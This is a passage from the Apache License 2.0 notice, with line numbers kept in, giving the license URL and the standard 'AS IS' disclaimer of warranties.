| You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | --------------------------------------------------------------------------------